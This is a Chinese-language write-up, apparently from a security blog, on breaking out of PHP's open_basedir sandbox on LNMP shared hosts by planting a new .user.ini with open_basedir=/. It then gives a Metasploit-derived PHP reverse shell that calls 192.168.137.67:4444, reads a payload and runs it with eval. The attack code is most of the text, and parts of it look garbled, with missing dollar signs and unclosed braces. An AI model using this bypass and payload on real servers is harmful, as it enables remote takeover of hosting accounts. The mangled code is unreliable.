## LNMP 虚拟主机 PHP 沙盒逃逸

## 1、漏洞信息

并不只是针对 Lnmp 的沙盒逃逸,而是.user.ini 的设计缺陷达到绕过 open\_basedir 限制,所以是通用的方法。首先来看看最新版 LNMP 是怎么配置 open\_basedir 的:

```
open_basedir=/home/wwwroot/default:/tmp/:/proc/
lsattr .user.ini
----i----- .user.ini
```

LNMP 的 open\_basedir 是通过.user.ini 来配置的。再来看 disable\_functions 都禁用了哪些函数:

注意到了 stream\_socket\_server 被禁用了。这个是用来建立 Socket 服务端的,完全可以使用其他可创建 socket 服务端的函数进行反弹个 socket 会话,比如 socket\_create、 fsockopen。不过虽是可以建立 socket 会话,但 group 为 www,所以这个留在后面结合使用。

.user.ini 是不允许增删改的,那怎样能突破限制?.user.ini 只在当前目录生效了。那么我们可不可以写入新的.user.ini 并且不与原.user.ini 冲突,将其 open\_basedir 指向根目录?可以的。

首先创建一个目录并写入新的.user.ini。新的.user.ini 需要 1-3min 来生效。

```
open_basedir=/
```

最后结合 socket,使用 msf 在新目录生成个反向代理 payload 并稍加更改就可以了。

```
<?php
error_reporting(0);
$ip = '192.168.137.67';
port = 4444;
$ipf = AF_INET;
if (FALSE !== strpos($ip, ":")) {
    $ip = "[". $ip ."]";
    $ipf = AF_INET6;
if (($f = 'fsockopen') && is_callable($f)) {
    s = f(ip, port);
    $s_type = 'stream';
} elseif (($f = 'socket_create') && is_callable($f)) {
    $s = $f($ipf, SOCK_STREAM, SOL_TCP);
    $res = @socket_connect($s, $ip, $port);
    if (!$res) {
        die();
    $s_type = 'socket';
} else {
    die('no socket funcs');
if (!$s) {
    die('no socket');
switch ($s_type) {
    case 'stream': $len = fread($s, 4); break;
    case 'socket': $len = socket_read($s, 4); break;
if (!$len) {
    die();
$a = unpack("Nlen", $len); $len = $a['len'];
b = '';
while (strlen($b) < $len) {</pre>
    switch ($s_type) {
        case 'stream': $b .= fread($s, $len-strlen($b)); break;
        case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
    }
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
eval($b);
die();
?>
```

